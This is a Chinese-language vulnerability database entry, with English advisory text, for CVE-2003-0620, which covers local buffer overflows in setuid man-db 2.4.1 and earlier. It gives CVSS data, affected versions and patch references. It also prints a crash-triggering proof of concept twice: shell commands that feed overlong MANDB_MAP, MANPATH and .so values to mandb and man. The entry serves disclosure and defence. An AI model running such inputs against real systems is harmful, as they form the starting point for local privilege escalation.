CVE-2003-0620
CVSS4.6
发布时间 :2003-08-27 00:00:00
修订时间 :2016-10-17 22:35:55
NMCOES    

[原文]Multiple buffer overflows in man-db 2.4.1 and earlier, when installed setuid, allow local users to gain privileges via (1) MANDATORY_MANPATH, MANPATH_MAP, and MANDB_MAP arguments to add_to_dirlist in manp.c, (2) a long pathname to ult_src in ult_src.c, (3) a long .so argument to test_for_include in ult_src.c, (4) a long MANPATH environment variable, or (5) a long PATH environment variable.


[CNNVD]多个ManDB效用本地缓冲区溢出漏洞(CNNVD-200308-115)

        man-db 2.4.1版本及之前版本在安装setuid时存在多个缓冲区溢出漏洞。本地用户可以借助(1)manp.c中add_to_dirlist的MANDATORY_MANPATH、MANPATH_MAP和MANDB_MAP参数,(2)ult_src.c中ult_src的超长路径名,(3)ult_src.c中test_for_include的超长.so参数,(4)超长MANPATH环境变量,或者(5)超长PATH环境变量来提升特权。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:andries_brouwer:man:2.3.19
cpe:/a:andries_brouwer:man:2.3.18
cpe:/a:andries_brouwer:man:2.4
cpe:/a:andries_brouwer:man:2.4.1
cpe:/a:andries_brouwer:man:2.3.20

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0620
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0620
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200308-115
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=105951284512898&w=2
(UNKNOWN)  BUGTRAQ  20030729 man-db[] multiple(4) vulnerabilities.
http://marc.info/?l=bugtraq&m=105960276803617&w=2
(UNKNOWN)  BUGTRAQ  20030730 Re: man-db[] multiple(4) vulnerabilities.
http://www.debian.org/security/2003/dsa-364
(VENDOR_ADVISORY)  DEBIAN  DSA-364

- 漏洞信息

多个ManDB效用本地缓冲区溢出漏洞
中危 缓冲区溢出
2003-08-27 00:00:00 2006-09-21 00:00:00
本地  
        man-db 2.4.1版本及之前版本在安装setuid时存在多个缓冲区溢出漏洞。本地用户可以借助(1)manp.c中add_to_dirlist的MANDATORY_MANPATH、MANPATH_MAP和MANDB_MAP参数,(2)ult_src.c中ult_src的超长路径名,(3)ult_src.c中test_for_include的超长.so参数,(4)超长MANPATH环境变量,或者(5)超长PATH环境变量来提升特权。

- 公告与补丁

        It has been reported that fixes to address these issues are available via the following CVS server:
        savannah.nongnu.org
        The fixes provided in Debian advisory DSA 364-1 introduced another issue. Debian has released a revised advisory (DSA 364-3) with new fixes. Please see DSA 364-3 for details on obtaining and applying updated fixes.
        man man 2.3.20
        

- 漏洞信息 (22971)

ManDB Utility 2.3/2.4 Local Buffer Overflow Vulnerabilities (EDBID:22971)
linux local
2003-07-29 Verified
0 V9
N/A [点击下载]
source: http://www.securityfocus.com/bid/8303/info

The mandb utility has been reported to be affected by multiple local buffer overflow vulnerabilities.

These issues present themselves due to insufficient bounds checking performed on user-supplied data before it is copied into reserved buffers in memory. It has been reported that a local attacker may exploit these issues to execute arbitrary instructions in the context of the mandb utility.

# cd /tmp
# mkdir x
# echo MANDB_MAP `perl -e 'print"x"x8100'` x >~/.manpath
# mandb
Segmentation fault

(can also apply this to the "man" binary, by fooling it with links)
# cd /tmp
# mkdir x
# ln /usr/bin/man mandb
# echo MANDB_MAP `perl -e 'print"x"x8100'` x >~/.manpath
# ./mandb
Segmentation fault

# man -M `perl -e 'print"/"x2100'`usr/share/man ls
...(verbose)
Segmentation fault

# cd /tmp
# mkdir man man/man1
# echo .so `perl -e 'print"x"x1024'` >man/man1/x.1
# man -M /tmp/man x
...(verbose)
Segmentation fault

# man -M `perl -e 'print"/tmp:"x260'` x
Segmentation fault		

- 漏洞信息

10250
man-db add_to_dirlist Function PATH Variable Local Overflow
Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2003-06-29 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Multiple ManDB Utility Local Buffer Overflow Vulnerabilities
Boundary Condition Error 8303
No Yes
2003-07-29 12:00:00 2009-07-11 10:56:00
Discovery of this vulnerability has been credited to Vade 79 <v9@fakehalo.deadpig.org>.

- 受影响的程序版本

man man 2.4.1
man man 2.4
man man 2.3.20
man man 2.3.19
man man 2.3.19
+ Conectiva Linux Enterprise Edition 1.0
man man 2.3.18

- 漏洞讨论

The mandb utility has been reported to be affected by multiple local buffer overflow vulnerabilities.

These issues present themselves due to insufficient bounds checking performed on user-supplied data before it is copied into reserved buffers in memory. It has been reported that a local attacker may exploit these issues to execute arbitrary instructions in the context of the mandb utility.

- 漏洞利用

The following proof of concept has been supplied:

# cd /tmp
# mkdir x
# echo MANDB_MAP `perl -e 'print"x"x8100'` x &gt;~/.manpath
# mandb
Segmentation fault

(can also apply this to the "man" binary, by fooling it with links)
# cd /tmp
# mkdir x
# ln /usr/bin/man mandb
# echo MANDB_MAP `perl -e 'print"x"x8100'` x &gt;~/.manpath
# ./mandb
Segmentation fault

# man -M `perl -e 'print"/"x2100'`usr/share/man ls
...(verbose)
Segmentation fault

# cd /tmp
# mkdir man man/man1
# echo .so `perl -e 'print"x"x1024'` &gt;man/man1/x.1
# man -M /tmp/man x
...(verbose)
Segmentation fault

# man -M `perl -e 'print"/tmp:"x260'` x
Segmentation fault

- 解决方案

It has been reported that fixes to address these issues are available via the following CVS server:

savannah.nongnu.org

The fixes provided in Debian advisory DSA 364-1 introduced another issue. Debian has released a revised advisory (DSA 364-3) with new fixes. Please see DSA 364-3 for details on obtaining and applying updated fixes.


man man 2.3.20

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站